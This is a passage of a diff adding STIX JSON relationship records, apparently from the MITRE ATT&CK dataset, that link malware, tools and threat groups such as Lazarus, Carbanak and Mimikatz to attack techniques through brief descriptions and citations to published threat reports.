"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "US-CERT SHARPKNOT June 2018", + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + } + ], + "modified": "2019-04-29T18:13:09.339Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can take a desktop screenshot and save the file into \\ProgramData\\Mail\\MailAg\\shot.png.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) uses port 587 for C2.", + "type": "relationship", + "created": "2019-01-30T18:58:04.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--267c62d3-362b-497c-8d2f-967a4d23c3cf", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.986Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) sets the main loader file\u2019s attributes to hidden.", + "type": "relationship", + "created": "2019-01-30T19:18:20.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60fa966f-bb77-481f-9541-8a14e965718a", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. 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Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses a custom binary protocol for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45fc6d1a-0101-4d14-92df-f9db27437fc4", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. 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Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.630Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a48e090-ab8c-414e-b559-7a0437c92850", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a8ee649-e907-4a73-8513-3019b2d771a0", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.337Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is known to use software packing in its tools.", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--047ee6d3-1b85-4a0f-96a6-6ead4be43548", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.944Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.681Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1652bf3a-085a-4388-839a-04858b14affd", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. 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Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Totbrick Oct 2016", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + }, + { + "source_name": "Microsoft Totbrick Oct 2017", + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + } + ], + "modified": "2019-06-24T19:15:06.915Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the victim username.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc52b3a9-96b2-4595-bedf-54289a42117a", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) gathers the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0bb9da4-4cf5-4fcc-89c9-2cf174a34cae", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Duqu](https://attack.mitre.org/software/S0038) command and control protocol's data stream can be encrypted with AES-CBC.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.310Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One version of [Helminth](https://attack.mitre.org/software/S0170) consists of VBScript and PowerShell scripts. The malware also uses batch scripting.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Vasport](https://attack.mitre.org/software/S0207) copies itself to disk and creates an associated run key Registry entry to establish.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--498c599b-99ed-477d-afe8-2a6714506934", + "external_references": [ + { + "source_name": "Symantec Vasport May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use HTTP for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--797131cf-fef9-4ece-823f-e931393e72f8", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.541Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80dcd852-39c2-4ef9-a401-e54982010a65", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.633Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used valid digital certificates from Sysprint AG to sign its [Epic](https://attack.mitre.org/software/S0091) dropper.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88ad4d2e-745e-4712-8901-e772dfaf3298", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:43.174Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of executing commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd", + "external_references": [ + { + "source_name": "Unit 42 SeaDuke 2015", + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used RC4 to encrypt C2 traffic.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf8f6cd4-cd87-430b-b286-3790c5a97efa", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has been known to establish persistence by adding programs to the Run Registry key.", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d021d378-a5ff-4020-972c-cc9152e824b0", + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "modified": "2019-01-31T18:48:52.069Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:13:49.676Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08319de4-6faa-4fb8-825e-0baee4a4b510", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several commands are supported by the [Honeybee](https://attack.mitre.org/groups/G0072)'s implant via the command-line interface and there\u2019s also a utility to execute any custom command on an infected endpoint.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3eda6bb8-bafa-46eb-a91b-5932d25ec0fc", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.317Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can take a screenshot and upload the file to its C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65f7704a-358a-464d-b09b-fee5dd96adf3", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.620Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8", + "external_references": [ + { + "source_name": "Deply Mimikatz", + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "source_name": "GitHub Mimikatz lsadump Module", + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump" + }, + { + "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015", + "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.", + "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T23:36:42.360Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bandook](https://attack.mitre.org/software/S0234) has been launched by starting iexplore.exe and replacing it with [Bandook](https://attack.mitre.org/software/S0234)'s payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cc0af18-2897-4008-a2b0-0234df50acde", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + }, + { + "source_name": "EFF Manul Aug 2016", + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Responder](https://attack.mitre.org/software/S0174) is used to poison name services to gather hashes and credentials from systems within a local network.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aef7fe44-f381-41d5-88af-f04135e3aeab", + "external_references": [ + { + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "url": "https://github.com/SpiderLabs/Responder" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "relationship_type": "uses", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942", + "external_references": [ + { + "source_name": "ThreatGeek Derusbi Converge", + "description": "Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.", + "url": "https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": 